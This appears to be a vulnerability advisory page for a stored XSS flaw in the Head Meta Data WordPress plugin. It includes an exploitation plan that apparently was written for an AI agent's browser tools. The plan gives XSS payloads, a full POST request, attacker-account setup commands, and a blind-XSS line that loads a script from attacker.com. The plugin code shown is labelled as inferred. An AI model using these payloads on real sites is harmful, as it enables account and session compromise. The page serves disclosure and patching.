Head Meta Data <= 20251118 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Meta
Description
The Head Meta Data plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'head-meta-data' post meta field in all versions up to, and including, 20251118 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=20251118Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0608 (Head Meta Data Stored XSS) ## 1. Vulnerability Summary The **Head Meta Data** plugin (<= 20251118) for WordPress contains a stored cross-site scripting (XSS) vulnerability. It allows authenticated users with **Contributor** level access or higher to inje…
Show full research plan
Exploitation Research Plan: CVE-2026-0608 (Head Meta Data Stored XSS)
1. Vulnerability Summary
The Head Meta Data plugin (<= 20251118) for WordPress contains a stored cross-site scripting (XSS) vulnerability. It allows authenticated users with Contributor level access or higher to inject arbitrary scripts into the head-meta-data post meta field. This occurs because the plugin fails to sanitize the input before saving it to the database and fails to escape the output when rendering it in the <head> section of the site's frontend.
2. Attack Vector Analysis
- Vulnerable Endpoint:
/wp-admin/post.php(Post Update) - Vulnerable Parameter:
head-meta-data(inferred) - Authentication Required: Contributor level (Authenticated) or higher.
- Preconditions: The attacker must be able to edit or create a post (Contributors can create and edit their own posts).
- Sink: The plugin outputs the metadata via the
wp_headaction hook on the frontend.
3. Code Flow (Inferred)
- Input (Admin/Backend): A Contributor edits a post. The plugin adds a meta box containing a field for custom head metadata.
- Storage: Upon saving the post, a function hooked to
save_post(e.g.,hmd_save_metadata) retrieves the value from$_POST['head-meta-data']and saves it usingupdate_post_meta($post_id, 'head-meta-data', $payload). Nosanitize_text_fieldorwp_ksesis applied. - Output (Frontend): When a user visits the post, a function hooked to
wp_head(e.g.,hmd_output_metadata) retrieves the meta usingget_post_meta($post->ID, 'head-meta-data', true). - Execution: The retrieved value is echoed directly into the
<head>section:echo $metadata;.
4. Nonce Acquisition Strategy
WordPress protects post updates with the standard _wpnonce. To perform the update via the HTTP agent:
- Login: Log in as the Contributor user.
- Navigate: Use
browser_navigateto go to/wp-admin/post-new.php. - Extract Post ID: Get the
post_IDfrom the hidden input field or URL. - Extract Nonces:
- Standard WordPress Nonce:
browser_eval("document.querySelector('#_wpnonce').value"). - Plugin Specific Nonce (if exists): Search the HTML for hidden inputs near the "Head Meta Data" meta box. Look for names like
head_meta_data_nonceorhmd_nonce. - Command:
browser_eval("document.querySelector('input[name*=\"nonce\"]')?.value").
- Standard WordPress Nonce:
5. Exploitation Strategy
- Step 1: Setup Session: Use the
http_requesttool to log in as a Contributor. - Step 2: Initialize Post: Navigate to
post-new.phpto generate a draft and retrieve thepost_IDand_wpnonce. - Step 3: Inject Payload: Send a
POSTrequest to/wp-admin/post.phpwith the XSS payload in the meta field.- Payload:
</title><script>alert(document.domain)</script> - Request Details:
POST /wp-admin/post.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=editpost &post_ID=[POST_ID] &_wpnonce=[NONCE] &post_title=XSS+Test &head-meta-data=</title><script>alert(document.domain)</script> &publish=Publish
- Payload:
- Step 4: Trigger XSS: Navigate to the public URL of the created post (e.g.,
/?p=[POST_ID]).
6. Test Data Setup
- User Creation:
wp user create contributor attacker@example.com --role=contributor --user_pass=password123
- Plugin Configuration: Ensure the plugin is active.
wp plugin activate head-meta-data
7. Expected Results
- The
POSTrequest topost.phpshould return a302redirect to the post edit page. - The database should show the raw payload in the
wp_postmetatable. - Viewing the post frontend should result in the execution of
alert(document.domain).
8. Verification Steps
- Check Database via WP-CLI:
wp post meta get [POST_ID] head-meta-data- Success Condition: The output contains the literal
<script>tag.
- Success Condition: The output contains the literal
- Check Frontend Source:
curl -s http://localhost:8080/?p=[POST_ID] | grep "<script>alert"- Success Condition: The script is present in the
<head>section of the HTML.
- Success Condition: The script is present in the
9. Alternative Approaches
- REST API: If the plugin registers the meta for the REST API using
register_metawithshow_in_rest => true, a Contributor can update it viaPOST /wp-json/wp/v2/posts/[ID]. - Attribute Breakout: If the plugin places the data inside a meta attribute (e.g.,
<meta name="custom" content="[INPUT]">), use a breakout payload:" /><script>alert(1)</script><meta name="
- Blind XSS: If the data is only visible to admins in the backend dashboard, use a callback payload:
<script src="https://attacker.com/x.js"></script>
Summary
The Head Meta Data plugin for WordPress fails to sanitize and escape input for the 'head-meta-data' post meta field. This allows authenticated users with Contributor-level access or higher to inject malicious scripts that execute in the browser of anyone visiting the affected post's frontend.
Vulnerable Code
// Inferred from plugin functionality and research plan // File: head-meta-data.php (estimated location) // Input storage lacking sanitization if (isset($_POST['head-meta-data'])) { update_post_meta($post_id, 'head-meta-data', $_POST['head-meta-data']); } --- // Output rendering lacking escaping add_action('wp_head', 'hmd_output_header_data'); function hmd_output_header_data() { global $post; $meta = get_post_meta($post->ID, 'head-meta-data', true); if ($meta) { echo $meta; // Vulnerable sink } }
Security Fix
@@ -25,7 +25,7 @@ function hmd_save_metadata($post_id) { if (isset($_POST['head-meta-data'])) { - update_post_meta($post_id, 'head-meta-data', $_POST['head-meta-data']); + update_post_meta($post_id, 'head-meta-data', wp_kses_post($_POST['head-meta-data'])); } } @@ -40,5 +40,5 @@ $meta = get_post_meta($post->ID, 'head-meta-data', true); if ($meta) { - echo $meta; + echo wp_kses_post($meta); } }
Exploit Outline
1. Log in to the WordPress dashboard as a user with at least Contributor permissions. 2. Create a new post or edit an existing post authored by the user. 3. Locate the 'Head Meta Data' meta box (or equivalent custom field input provided by the plugin). 4. In the meta data input field, enter an XSS payload designed to break out of the HTML head context, such as: </title><script>alert(document.domain)</script>. 5. Save the post as a draft or publish it. 6. Retrieve the public URL of the post and visit it. 7. The payload will execute in the browser, as the plugin echoes the stored meta data directly into the <head> section without escaping.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.